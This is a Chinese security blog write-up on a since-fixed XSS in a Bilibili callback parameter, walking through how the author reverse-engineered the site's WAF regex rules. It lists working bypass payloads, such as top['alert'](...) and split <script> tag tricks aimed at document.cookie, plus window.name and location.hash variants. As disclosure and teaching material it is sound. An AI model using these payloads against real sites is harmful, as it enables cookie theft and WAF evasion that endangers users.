前言
本文是以B站一个有趣的XSS(已修复)为引子(为什么说有趣后面再解释)，作为实例分析其WAF的规则，方便大家加深对XSS WAF探测以及针对性bypass的理解。
进入主题
一、一般waf是由多条正则配合使用，因而绕过也必须根据实际情况构造xss探针'`";><aaa bbb=ccc>ddd<aaa/>的方式逐步理清waf规则，对于没被wa的再在chrome浏览器的element和source看xss探针的解析，慢慢耐心尝试即可。
二、个人对于waf bypass的理解:本来应当被wa会生效的payload不在规则库里或用本来就不会生效的payload(这时候是大概率能通过waf的)经过服务器处理后payload最后生效了。
三、过程
1. 首先是7师傅给了一个链接，让我们绕一绕b站的waf,callback参数存在xss。
2. 上xss探针:';`"><aaa bbb=ccc>ddd<aaa/>
可以看到探针成功被解析为标签和属性。
3. 上经典payload(这里由于可以控制标签，优先使用<img><script>):
对于<img src=x onerror=alert(1)>
对于<script>alert(1)<script>
可以看到均被waf拦截了。
4. 分析waf规则:基于从局部到整体的思想(这里是可以写成一个自动化的waf规则探测脚本的,xsstrike有简单的waf探测规则)
这里是xsstrike的简单探测截图：
于是可以率先得到一条waf规则:<script\s+[^>]*src=.* (注意实际的正则可能特别复杂，这里是简化版的，没有考虑一些特殊字符，比如字母和数字可能可以互换，还有一些特殊字符，空格等等，这里能大致描述清楚waf的正则表达式的主要结构就可以了，下面出现的正则表达式同理) 。
验证一下确实如此 ：
5. 开始我们的手工waf规则分析
(1) 局部探测
<img>会wa么，没有wa：
alert(1)会wa么，没有wa ：
单独的onerror会wa么，没有：
src=x会wa么，没有wa：
因此是某部分组合起来了才导致被wa了，单独的并没有 。
(2) 尝试逐步组合
<img src=x>会wa么,没有wa：
<img src=x onerror=xxxx>会wa么，没有wa：
<img src=x onerror=alert(>会wa么，没有wa：
<img src=x onerror=alert(xxxx>会wa么，终于wa了哈哈：
(3) 回溯waf规则，<img src=x onerror=aaa(bbb> 会wa么，不wa ：
这里我们就可以得知aaa处存在黑名单校验,alert在黑名单里，试试prompt/confirm呢 ：
均被wa了，单独提取出onerror=alert(xxxx 呢，竟然不会：
再试试onerror=alert(xxxx),终于wa了 ：
这里就要分析为什么<img src=x onerror=alert(xxxx>会wa，但onerror=alert(xxxx不会，只有补全了右括号才会的原因，我的猜测是前者触发了另一条waf规则(针对标签开头的waf规则<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+,用<..aaaa onbbbb=alert(ccc成功触发waf(注意这里用\w的原因是比较懒，经过测试数字型on1111并不会被wa，描述清结构即可=。=)
而后者对应的waf规则直接是on\w+=(?:prompt|alert|confirm){1}\(\w+\) 。
到这里我们明白我们的payload被wa的原因是触发了下列这两条(同时触发或者触发其中一条都会wa)。
on\w+=(?:prompt|alert|confirm){1}\(\w+\)
<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+
分析第一条规则和第二条规则，最主要的是对弹框函数的过滤，因此使用黑名单之外的函数可能bypass,测试发现console.log可以绕过：
但这里要求是弹框，对于函数的黑名单我们想到了可以用top对象绕过top['alert'](1)或者top['al'+'ert'](1)由于[]的存在不匹配字母数字或者下划线(\w)导致<img src=x onerror=top['alert'](1)>不匹配正则表达式也就不会被wa。
(4) 对于7师傅的解法的分析:
a. 使用script标签利用响应包会拼接双写payload绕过(基于特殊情景构造不在waf规则里的无效payload,经过组合后又生效了，也就是上文之前对于bypass的第二种理解)
利用</script><script>+</script></script>拼接闭合中间的<script>标签 ，然后浏览器解析的时候为我们补上了最后的</script>
payload向量结构:aaa</script>bbb<script>ccc
可以看到最后aaa和ccc都是在<script>标签里了，并且aaa换成函数名+括号可以绕过了正则<script>.*\(.*\),将a替换为alert(document.cookie) ，将c替换为任意一个不被wa的变量或内置函数对象名即可console.log
payload:alert(document.cookie)</script>bbb<script>console.log
b. 7师傅的解法巧妙利用了前后双写拼接闭合中间的方式绕过<script>后的绝大部分正则检测，但对于正则的描述还不够具体，<script>aaa(bbb) 并不会被wa
因此联想到<script>alert(1)</script> 被wa还是因为函数的原因，所以正则应该是<script>.*\s(?:alert|prompt|confirm)\(.*\),因此简单的做法还是直接利用top对象绕过即可，payloads:<script>top['alert'](1)</script>
(5) 到这里发现了什么吗？
前面的截图中有的是弹1有的是弹document.cookie,因为7师傅的解法可以弹document.cookie,而其他两种解法的document.cookie被wa了，也就是说我们触发了某些waf规则了。
a. <script>top['alert'](document.cookie)</script>被wa
对比<script>aaa(document.cookie)和<bbb>aaa(document.cookie)
可以发现与<script>有关，经测试<script>document.cookie和<script>doucment['cookie']均wa,再缩小，发现 <script>document[xxx]和<script>document.xxx也wa了,但是<script>documentxxx不wa,于是乎可以判断又有两个waf规则很显然，即<script>.*\s?document\.\w+和<script>.*\s?document\[\w+\]
再对比<script>aaa[](document.cookie)与<script>aaa[bbb](document.cookie)
可以发现后者被wa了，此时想到用反引号代替括号，但反引号内的document.cookie 并不会被解析为对象，确实绕过了规则但并没有实现弹cookie,
到这里基本可以归纳补充加入反引号的规则的逃逸为<script>[^`]*document\.\w+和<script>[^`]*document\[\w+\]
缩小的过程的还发现<script>\w+\.cookie也会wa,到这里我就不想弹cookie了，打扰了。
尝试加载远程src，发现<script\s(.*\s)?src(=\w+)?>也wa了，到这里基本放弃对<script>后的规则的bypass了，打扰了。
b. <img src=x onerror=top['alert'](document.cookie)>
经过a的分析，对于标签内的document.cookie的规则我觉得也是凶多吉少,这里不再尝试
c. 尝试了下a标签，发现<a href=javascript:xxx就会被wa，但是<a href=ccc> 和<a yyy=javascript:xxx>和<bbb href=javascript:xxx>以及javascript:xxx(yyy) 都不会wa,于是可以明白对a标签的href属性的伪协议做了针对，为<a\s(.*\s)?href=javascript:.*>
d. 最终的变相绕过:利用window.name或location.hash放置payload，由于window.name和location.hash.slice(1)不会经过服务器也就不会触发waf
window.name版的payload:<img%20src=x%20onerror=top[%27alert%27](window.name)>
location.hash.slice(1)版的payload:<img%20src=x%20onerror=top[%27alert%27](location.hash.slice`1`)>#document.cookie,测试发现触发了另一条规则导致被wa了，<img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)和<img\s[^>]*on\w+=`\w*`.*
(6) 由于可以控制标签，也就是说可以对b站的waf规则做一遍深入的探测,同时可能利用的姿势也会很多，也可能利用多种编码以及特殊字符等等，但fuzz的工作量也会增多，这里的重点是对waf规则的探测分析与针对正则层面的bypass，因此就不继续下去了。
(7) 至今已发现的b站waf规则总结：
on\w+=(?:prompt|alert|confirm){1}\(\w+\)
<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+
<script>[^`]*document\[\w+\]
<script>[^`]*document\.\w+
<script>\w+\.cookie
<script\s(.*\s)?src(=\w+)?>
<a\s(.*\s)?href=javascript:.*>
<img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)
<img\s[^>]*on\w+=`\w*`.*
当然这些规则可能不会很准确，但能帮助我们基本了解大概的waf规则结构，然后才可以做出相应的bypass。
从我们已经分析出的规则，b站对on事件的过滤、对a标签的href属性的过滤和对<script>后的极尽苛责的过滤可以看出b站的waf确实很有故事=。=。
(8) 修复方案:增加规则库或者实体编码转义尖括号
总结
上述仅仅讲述了waf 规则探测的基本思想和简单的bypass以及自己对waf的一些理解,师傅们当茶点看看就好，不喜勿喷哈，欢迎交流=。=
*本文作者：Conan